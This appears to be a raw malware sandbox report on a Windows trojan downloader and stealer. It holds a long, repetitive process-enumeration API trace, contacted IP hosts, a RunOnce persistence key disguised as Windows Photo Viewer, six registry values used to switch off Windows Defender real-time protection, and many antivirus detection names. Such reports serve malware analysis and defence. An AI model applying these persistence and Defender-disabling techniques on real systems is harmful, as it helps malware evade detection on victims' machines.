 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0
host 212.192.241.15
host 45.133.1.107
reg_key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover reg_value "C:\Program Files (x86)\Windows Photo Viewer\Nunaedobyle.exe"
process Cube_WW14.bmp useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
process Cube_WW14.bmp useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
process qNCY_EOBar1MnuVc9oiDPLRw.tmp useragent InnoDownloadPlugin/1.5
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
Lionic Trojan.Win32.Stealer.i!c
MicroWorld-eScan Trojan.AntiSandbox.GenericKDS.37819867
FireEye Trojan.AntiSandbox.GenericKDS.37819867
CAT-QuickHeal PUA.GenericRI.S23914449
McAfee GenericRXQJ-OJ!7C53B803484C
Cylance Unsafe
Zillya Downloader.Agent.Win32.451946
Sangfor Trojan.Win32.Disbuk.gen
K7AntiVirus Trojan-Downloader ( 005883801 )
Alibaba TrojanPSW:Win32/Disbuk.323fdab4
K7GW Trojan-Downloader ( 00588d291 )
BitDefenderTheta Gen:NN.ZexaF.34236.zu0@a04L9YiO
Cyren W32/Zusy.JB.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/TrojanDownloader.Agent.FXP
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Trojan-PSW.Win32.Disbuk.gen
BitDefender Trojan.AntiSandbox.GenericKDS.37819867
SUPERAntiSpyware Trojan.Agent/Gen-Downloader
Avast Win32:DropperX-gen [Drp]
Ad-Aware Trojan.AntiSandbox.GenericKDS.37819867
Emsisoft Trojan.AntiSandbox.GenericKDS.37819867 (B)
TrendMicro TROJ_GEN.R049C0PJL21
McAfee-GW-Edition GenericRXQJ-OJ!7C53B803484C
Sophos Mal/Generic-S
Jiangmin Trojan.PSW.Stealer.va
Avira TR/Dldr.Agent.fnplw
MAX malware (ai score=100)
Antiy-AVL Trojan/Generic.ASMalwS.34BC1CD
Kingsoft Win32.PSWTroj.Undef.(kcloud)
Gridinsoft Trojan.Win32.Downloader.sa
ViRobot Trojan.Win32.Z.Win.412672.A
ZoneAlarm HEUR:Trojan-PSW.Win32.Disbuk.gen
GData Trojan.AntiSandbox.GenericKDS.37819867
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win.Generic.R446027
VBA32 BScope.TrojanRansom.FileCryptor
ALYac Trojan.AntiSandbox.GenericKDS.37819867
Malwarebytes Trojan.Downloader
TrendMicro-HouseCall TROJ_GEN.R049C0PJL21
Tencent Malware.Win32.Gencirc.11d53795
Ikarus Trojan-Downloader.Win32.Agent
MaxSecure Trojan.Malware.74142850.susgen
Fortinet W32/Agent.FXP!tr
AVG Win32:DropperX-gen [Drp]
Panda Trj/CI.A
CrowdStrike win/malicious_confidence_100% (W)
Qihoo-360 Win32/TrojanPSW.Generic.HgIASeYA
dead_host 192.168.56.103:49249
dead_host 192.168.56.103:49227
dead_host 192.168.56.103:49180